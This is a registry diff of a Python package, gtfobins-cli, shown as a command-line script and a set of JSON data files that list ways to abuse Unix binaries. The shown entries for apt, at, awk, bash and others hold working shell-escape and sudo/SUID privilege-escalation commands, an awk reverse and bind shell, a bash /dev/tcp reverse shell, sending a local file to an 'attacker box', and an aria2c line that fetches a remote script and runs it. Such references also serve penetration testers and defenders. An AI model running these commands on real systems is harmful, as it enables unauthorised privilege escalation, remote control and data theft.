gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/__init__.py
ADDED
gtfo/cli.py
ADDED
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# coding=utf-8
|
|
3
|
+
import argparse
|
|
4
|
+
import json
|
|
5
|
+
import os
|
|
6
|
+
from pathlib import Path
|
|
7
|
+
from string import Template
|
|
8
|
+
|
|
9
|
+
from colorama import Fore, Style, init
|
|
10
|
+
from pygments import highlight, formatters, lexers
|
|
11
|
+
|
|
12
|
+
# Initialize colorama for Windows compatibility
|
|
13
|
+
init(autoreset=True)
|
|
14
|
+
|
|
15
|
+
banner = '''
|
|
16
|
+
__ ___ __ _
|
|
17
|
+
___ _ / /_ / _/ ___ / / (_) ___ ___
|
|
18
|
+
/ _ `// __/ / _/ / _ \ / _ \ / / / _ \ (_-<
|
|
19
|
+
\_, / \__/ /_/ \___//_.__//_/ /_//_//___/
|
|
20
|
+
/___/
|
|
21
|
+
'''
|
|
22
|
+
|
|
23
|
+
# Get the absolute path to the data directory
|
|
24
|
+
PACKAGE_DIR = Path(__file__).parent
|
|
25
|
+
data_dir = PACKAGE_DIR / "data"
|
|
26
|
+
json_ext = ".json"
|
|
27
|
+
|
|
28
|
+
info = Template(Style.BRIGHT + '[ ' + Fore.GREEN + '*' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text')
|
|
29
|
+
fail = Template(Style.BRIGHT + '[ ' + Fore.RED + '-' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text')
|
|
30
|
+
title = Template(
|
|
31
|
+
'\n' + Style.BRIGHT + '---------- [ ' + Fore.CYAN + '$title' + Fore.RESET + ' ] ----------' + Style.RESET_ALL + '\n'
|
|
32
|
+
)
|
|
33
|
+
description = Template(Style.DIM + '# ' + '$description' + Style.RESET_ALL)
|
|
34
|
+
divider = '\n' + Style.BRIGHT + ' - ' * 10 + Style.RESET_ALL + '\n'
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def parse_args():
|
|
38
|
+
from . import __version__
|
|
39
|
+
parser = argparse.ArgumentParser(
|
|
40
|
+
prog="gtfo",
|
|
41
|
+
description="Command-line tool for GTFOBins - helps you bypass system security restrictions."
|
|
42
|
+
)
|
|
43
|
+
parser.add_argument('-v', '--version', action='version', version=f'%(prog)s {__version__}')
|
|
44
|
+
parser.add_argument('binary', metavar='binary', help='Unix binary to search for exploitation techniques')
|
|
45
|
+
return parser.parse_args()
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def run(binary=None):
|
|
49
|
+
"""Main function that can be called programmatically"""
|
|
50
|
+
if binary is None:
|
|
51
|
+
args = parse_args()
|
|
52
|
+
binary = args.binary
|
|
53
|
+
|
|
54
|
+
file_path = data_dir / f"{binary}{json_ext}"
|
|
55
|
+
if file_path.exists():
|
|
56
|
+
print(info.safe_substitute(text="Supplied binary: " + binary))
|
|
57
|
+
print(info.safe_substitute(text="Please wait, loading data ... "))
|
|
58
|
+
with open(file_path) as source:
|
|
59
|
+
data = source.read()
|
|
60
|
+
|
|
61
|
+
json_data = json.loads(data)
|
|
62
|
+
if 'description' in json_data:
|
|
63
|
+
print('\n' + description.safe_substitute(description=json_data['description']))
|
|
64
|
+
|
|
65
|
+
for vector in json_data['functions']:
|
|
66
|
+
print(title.safe_substitute(title=str(vector).upper()))
|
|
67
|
+
index = 0
|
|
68
|
+
for code in json_data['functions'][vector]:
|
|
69
|
+
index = index + 1
|
|
70
|
+
if 'description' in code:
|
|
71
|
+
print(description.safe_substitute(description=code['description']) + '\n')
|
|
72
|
+
print(highlight(code['code'], lexers.BashLexer(),
|
|
73
|
+
formatters.TerminalTrueColorFormatter(style='igor')).strip())
|
|
74
|
+
if index != len(json_data['functions'][vector]):
|
|
75
|
+
print(divider)
|
|
76
|
+
|
|
77
|
+
print('\n' + info.safe_substitute(text="Goodbye, friend."))
|
|
78
|
+
else:
|
|
79
|
+
print(fail.safe_substitute(text="Sorry, couldn't find anything for " + binary))
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
def main():
|
|
83
|
+
"""Console script entry point"""
|
|
84
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
85
|
+
print(banner)
|
|
86
|
+
run()
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
if __name__ == '__main__':
|
|
90
|
+
main()
|
gtfo/data/apt-get.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
6
|
+
"code": "apt-get changelog apt\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
12
|
+
"code": "sudo apt-get changelog apt\n!/bin/sh\n"
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"description": "For this to work the target package (e.g., 'sl') must not be installed.",
|
|
16
|
+
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"description": "When the shell exits the 'update' command is actually executed.",
|
|
20
|
+
"code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/apt.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
6
|
+
"code": "apt-get changelog apt\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
12
|
+
"code": "sudo apt-get changelog apt\n!/bin/sh\n"
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"description": "For this to work the target package (e.g., 'sl') must not be installed.",
|
|
16
|
+
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"description": "When the shell exits the 'update' command is actually executed.",
|
|
20
|
+
"code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/ar.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The file appears amid the binary content of the archive.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/aria2c.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Note that the subprocess is immediately sent to the background.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"command": [
|
|
5
|
+
{
|
|
6
|
+
"code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "The remote file 'aaaaaaaaaaaaaaaa' (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. '--allow-overwrite' is needed if this is executed multiple times with the same GID.",
|
|
10
|
+
"code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash [host]/aaaaaaaaaaaaaaaa"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"limited-suid": [
|
|
19
|
+
{
|
|
20
|
+
"code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x\n"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/arp.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The read file content is corrupted by error prints.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "arp -v -f [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./arp -v -f [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo arp -v -f [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/ash.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "ash"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "ash -c 'echo DATA > [file]'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./ash"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo ash"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/at.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"command": [
|
|
9
|
+
{
|
|
10
|
+
"description": "The invocation will be blind, but it is possible to redirect the output to a file in a readable location.",
|
|
11
|
+
"code": "necho \"[command]\" | at now\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/atobm.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Outputs the first line of the file to standard error without the '-' and '#' characters, this can be customized with the '-c' option, by default is '-c -#'.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/awk.json
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "awk 'BEGIN {system(\"/bin/sh\")}'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"non-interactive-reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
"code": "awk -v RHOST=[host] -v RPORT=[port] 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"non-interactive-bind-shell": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
|
|
17
|
+
"code": "awk -v LPORT=[port] 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-write": [
|
|
21
|
+
{
|
|
22
|
+
"code": "awk -v LFILE=[file] 'BEGIN { print \"DATA\" > LFILE }'\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-read": [
|
|
26
|
+
{
|
|
27
|
+
"code": "awk '//' [file]\n"
|
|
28
|
+
}
|
|
29
|
+
],
|
|
30
|
+
"sudo": [
|
|
31
|
+
{
|
|
32
|
+
"code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'"
|
|
33
|
+
}
|
|
34
|
+
],
|
|
35
|
+
"suid": [
|
|
36
|
+
{
|
|
37
|
+
"code": "./awk '//' \"[file]\""
|
|
38
|
+
}
|
|
39
|
+
],
|
|
40
|
+
"limited-suid": [
|
|
41
|
+
{
|
|
42
|
+
"code": "./awk 'BEGIN {system(\"/bin/sh\")}'"
|
|
43
|
+
}
|
|
44
|
+
]
|
|
45
|
+
}
|
|
46
|
+
}
|
gtfo/data/base32.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "base32 \"[file]\" | base32 --decode\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "base32 \"[file]\" | base32 --decode\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo base32 \"[file]\" | base32 --decode\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/base64.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "base64 [file] | base64 --decode\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "./base64 [file] | base64 --decode\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo base64 [file] | base64 --decode\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/basenc.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "basenc --base64 [file] | basenc -d --base64\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "basenc --base64 [file] | basenc -d --base64\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo basenc --base64 [file] | basenc -d --base64\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/bash.json
ADDED
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "bash"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
"code": "bash -c 'exec bash -i &>/dev/tcp/[host]/[port] <&1'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-upload": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
17
|
+
"code": "bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<[file])\" > /dev/tcp/[host]/[port]'\n"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.",
|
|
21
|
+
"code": "bash -c 'cat [file] > /dev/tcp/[host]/[port]'\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"file-download": [
|
|
25
|
+
{
|
|
26
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
27
|
+
"code": "bash -c '{ echo -ne \"GET /[file] HTTP/1.0\\r\\nhost: [host]\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/[host]/[port] \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > [file]'\n"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.",
|
|
31
|
+
"code": "bash -c 'cat < /dev/tcp/[host]/[port] > [file]'\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"file-write": [
|
|
35
|
+
{
|
|
36
|
+
"code": "bash -c 'echo DATA > [file]'\n"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"description": "This adds timestamps to the output file.",
|
|
40
|
+
"code": "HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w [file]\n"
|
|
41
|
+
}
|
|
42
|
+
],
|
|
43
|
+
"file-read": [
|
|
44
|
+
{
|
|
45
|
+
"description": "It trims trailing newlines and it's not binary-safe.",
|
|
46
|
+
"code": "bash -c 'echo \"$(<[file])\"'\n"
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
"description": "The read file content is surrounded by the current history content.",
|
|
50
|
+
"code": "HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r [file]\nhistory\n"
|
|
51
|
+
}
|
|
52
|
+
],
|
|
53
|
+
"library-load": [
|
|
54
|
+
{
|
|
55
|
+
